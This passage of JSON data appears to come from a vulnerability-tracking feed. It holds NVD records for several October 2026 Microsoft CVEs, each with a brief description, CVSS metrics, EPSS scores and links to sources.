CVE-2026-88101","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88101","type":"primary","publishedAt":"2026-10-13T19:21:28.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88101","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88101&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88101, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88100","cveId":"CVE-2026-88100","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:27.920Z","updatedAt":"2026-10-16T15:43:25.753Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88100","asOf":"2026-10-16T15:43:25.753Z"},"epss":{"probability":0.00312,"percentile":0.23817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88100&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88100","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88100","type":"primary","publishedAt":"2026-10-13T19:21:27.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88100","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88100&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88100, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88098","cveId":"CVE-2026-88098","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows Security Support Provider Interface allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in Windows Security Support Provider Interface allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in Windows Security Support Provider Interface allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:27.620Z","updatedAt":"2026-10-16T16:22:29.317Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88098","asOf":"2026-10-16T16:22:29.317Z"},"epss":{"probability":0.002,"percentile":0.09691,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88098&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88098","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88098","type":"primary","publishedAt":"2026-10-13T19:21:27.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88098","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88098&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88098, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88096","cveId":"CVE-2026-88096","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DCOM Server allows an authorized attacker to elevate privileges locally.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DCOM Server allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DCOM Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:27.447Z","updatedAt":"2026-10-16T16:22:29.123Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88096","asOf":"2026-10-16T16:22:29.123Z"},"epss":{"probability":0.00153,"percentile":0.04358,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88096&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88096","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88096","type":"primary","publishedAt":"2026-10-13T19:21:27.447Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88096","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88096&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88096, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88093","cveId":"CVE-2026-88093","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:27.167Z","updatedAt":"2026-10-16T16:22:28.967Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88093","asOf":"2026-10-16T16:22:28.967Z"},"epss":{"probability":0.00327,"percentile":0.25585,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88093&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88093","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88093","type":"primary","publishedAt":"2026-10-13T19:21:27.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88093","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88093&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88093, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88091","cveId":"CVE-2026-88091","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.","summary":"Deserialization of untrusted data in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.","detail":"Deserialization of untrusted data in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:26.863Z","updatedAt":"2026-10-16T16:22:28.710Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88091","asOf":"2026-10-16T16:22:28.710Z"},"epss":{"probability":0.02933,"percentile":0.86994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88091&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88091","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88091","type":"primary","publishedAt":"2026-10-13T19:21:26.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88091","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88091&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88091, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88080","cveId":"CVE-2026-88080","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:26.687Z","updatedAt":"2026-10-16T16:22:27.920Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88080","asOf":"2026-10-16T16:22:27.920Z"},"epss":{"probability":0.0024,"percentile":0.14904,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88080&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88080","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88080","type":"primary","publishedAt":"2026-10-13T19:21:26.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88080","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88080&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88080, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88079","cveId":"CVE-2026-88079","aliases":[],"kind":"vulnerability","title":"Null pointer dereference in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.","summary":"Null pointer dereference in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.","detail":"Null pointer dereference in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:26.567Z","updatedAt":"2026-10-16T15:50:55.830Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88079","asOf":"2026-10-16T15:50:55.830Z"},"epss":{"probability":0.00279,"percentile":0.2019,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88079","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88079","type":"primary","publishedAt":"2026-10-13T19:21:26.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88079","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88076","cveId":"CVE-2026-88076","aliases":[],"kind":"vulnerability","title":"Null pointer dereference in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Null pointer dereference in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Null pointer dereference in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:26.390Z","updatedAt":"2026-10-16T16:22:27.673Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88076","asOf":"2026-10-16T16:22:27.673Z"},"epss":{"probability":0.00279,"percentile":0.20194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88076&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88076","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88076","type":"primary","publishedAt":"2026-10-13T19:21:26.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88076","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88076&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88076, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88075","cveId":"CVE-2026-88075","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over a...","summary":"Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over a network.","detail":"Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:26.270Z","updatedAt":"2026-10-16T15:52:27.540Z","regions":["Global"],"vendor":"microsoft","product":"configuration manager 2503","stacks":["Microsoft","configuration manager 2503"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88075","asOf":"2026-10-16T15:52:27.540Z"},"epss":{"probability":0.00831,"percentile":0.57299,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88075&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88075","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88075","type":"primary","publishedAt":"2026-10-13T19:21:26.270Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88075","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88075&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88075, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88074","cveId":"CVE-2026-88074","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:26.150Z","updatedAt":"2026-10-16T15:52:58.320Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88074","asOf":"2026-10-16T15:52:58.320Z"},"epss":{"probability":0.00324,"percentile":0.25256,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88074&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88074","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88074","type":"primary","publishedAt":"2026-10-13T19:21:26.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88074","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88074&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88074, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88073","cveId":"CVE-2026-88073","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:26.010Z","updatedAt":"2026-10-16T16:22:27.390Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88073","asOf":"2026-10-16T16:22:27.390Z"},"epss":{"probability":0.00265,"percentile":0.1827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88073&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88073","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88073","type":"primary","publishedAt":"2026-10-13T19:21:26.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88073","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88073&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and 